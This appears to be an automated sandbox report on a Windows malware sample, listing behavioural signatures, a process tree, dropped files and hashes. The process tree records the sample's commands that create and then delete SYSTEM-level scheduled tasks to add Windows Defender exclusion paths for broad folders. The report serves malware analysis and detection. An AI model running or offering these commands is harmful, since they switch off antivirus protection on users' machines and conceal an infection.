Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/10/2026, 23:24

General

  • Target
    2026-10-28_936aa9243c7ac6314b4007e2f986ebc3_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
  • Size 38.9MB
  • Sample261029-3dp45acf93
  • SHA256 a2530fd40eb17db26f1a0ec662a1bf00c71a65a56aaad97e14aa7686050b556f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 8 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-28_936aa9243c7ac6314b4007e2f986ebc3_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-28_936aa9243c7ac6314b4007e2f986ebc3_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:5032
  • C:\Users\Public\Q8spay\Y6Q8F1.exe
    C:\Users\Public\Q8spay\Y6Q8F1.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Q8spay\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2308
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Q8spay\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:948
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5288
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4360
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5208
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5976
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3040
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5596
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1356
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4036
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2548
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:6004
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:720
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2976
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4480
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1892
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5320
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4772
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4584
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4700
                      • C:\Users\Public\Q8spay\Y6Q8F1.exe
                        "C:\Users\Public\Q8spay\Y6Q8F1.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Adds Run key to start application
                        • Drops file in System32 directory
                        PID:5624
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Q8spay" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1280
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Q8spay" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5556
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4064
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1416
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1204
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:6036
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5900
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4744
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5664

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 f3bd244a1885b573b71507eebee1cf78c564f839d84c5b342b2e23e912a61622
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 cb6227fa2a1eb44392cb51140a03e298dd970cb5fbbc3e595e9fe74a3881a8da
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 cfd0724a2aa2d6f7dea31316bfd08cea3735f3013ce8d2090fef7be537aed82e
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 d774be272a3f1783e076eea08adab6a528fbdb5efe7a5f1cadec20cc43e9cf5b
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\Q8spay\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 6fe9b166f2e324eca7bb6ed3aa3fba52c84e6b28bf8f56c9175bd2892ee0af73
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Y6Q8F1.exe

                              • Path C:\Users\Public\Q8spay\Y6Q8F1.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\Q8spay\adoresd.dat
                              • Size 4.8MB
                              • SHA256 a24fba9049ca2d494a03501638bd91cd8a724b2464042cc520101fb2b2a19015
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\Q8spay\msadox.tb
                              • Size 8KB
                              • SHA256 e3ada810ce5be72727bbfaaafd5639e570dd10e3956f7874be87a2f8b2cb8a00
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              SiPolicy.p7b

                              • Path C:\Windows\System32\CodeIntegrity\SiPolicy.p7b
                              • Size 24KB
                              • SHA256 b3f17065ed63b17ffef175f2979907d8eef69a76ba4cbd1d9785035a0b1f0a10
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2380-558-0x0000014D55620000-0x0000014D556AA000-memory.dmp

                              memory/2380-535-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-529-0x00007FFEDC870000-0x00007FFEDC872000-memory.dmp

                              memory/2380-538-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-542-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-537-0x00007FFEDC880000-0x00007FFEDC882000-memory.dmp

                              memory/2380-543-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-545-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-544-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-549-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-554-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-563-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-561-0x0000014D55620000-0x0000014D556AA000-memory.dmp

                              memory/2380-560-0x0000014D55620000-0x0000014D556AA000-memory.dmp

                              memory/2380-559-0x0000014D55620000-0x0000014D556AA000-memory.dmp

                              memory/2380-595-0x0000014D547F0000-0x0000014D550C7000-memory.dmp

                              memory/2380-557-0x0000014D55520000-0x0000014D5556E000-memory.dmp

                              memory/2380-530-0x00007FFEBFF50000-0x00007FFEC046E000-memory.dmp

                              memory/5032-523-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/5032-524-0x00007FFED5580000-0x00007FFED5590000-memory.dmp

                              memory/5032-503-0x00007FFED5580000-0x00007FFED5590000-memory.dmp

                              memory/5032-1-0x00000000001F0000-0x00000000001FC000-memory.dmp

                              memory/5032-0-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/5624-585-0x00007FFEDC880000-0x00007FFEDC882000-memory.dmp

                              memory/5624-598-0x000001B157460000-0x000001B157D37000-memory.dmp

                              memory/5624-590-0x000001B157460000-0x000001B157D37000-memory.dmp

                              memory/5624-591-0x000001B157460000-0x000001B157D37000-memory.dmp

                              memory/5624-593-0x000001B157460000-0x000001B157D37000-memory.dmp

                              memory/5624-592-0x000001B157460000-0x000001B157D37000-memory.dmp

                              memory/5624-583-0x000001B157460000-0x000001B157D37000-memory.dmp

                              memory/5624-586-0x000001B157460000-0x000001B157D37000-memory.dmp

                              memory/5624-580-0x00007FFEBFF50000-0x00007FFEC046E000-memory.dmp

                              memory/5624-611-0x000001B157E70000-0x000001B157EFA000-memory.dmp

                              memory/5624-617-0x000001B157460000-0x000001B157D37000-memory.dmp

                              memory/5624-616-0x000001B157460000-0x000001B157D37000-memory.dmp

                              memory/5624-610-0x000001B157E70000-0x000001B157EFA000-memory.dmp

                              memory/5624-609-0x000001B157E70000-0x000001B157EFA000-memory.dmp

                              memory/5624-608-0x000001B157E70000-0x000001B157EFA000-memory.dmp

                              memory/5624-605-0x000001B157460000-0x000001B157D37000-memory.dmp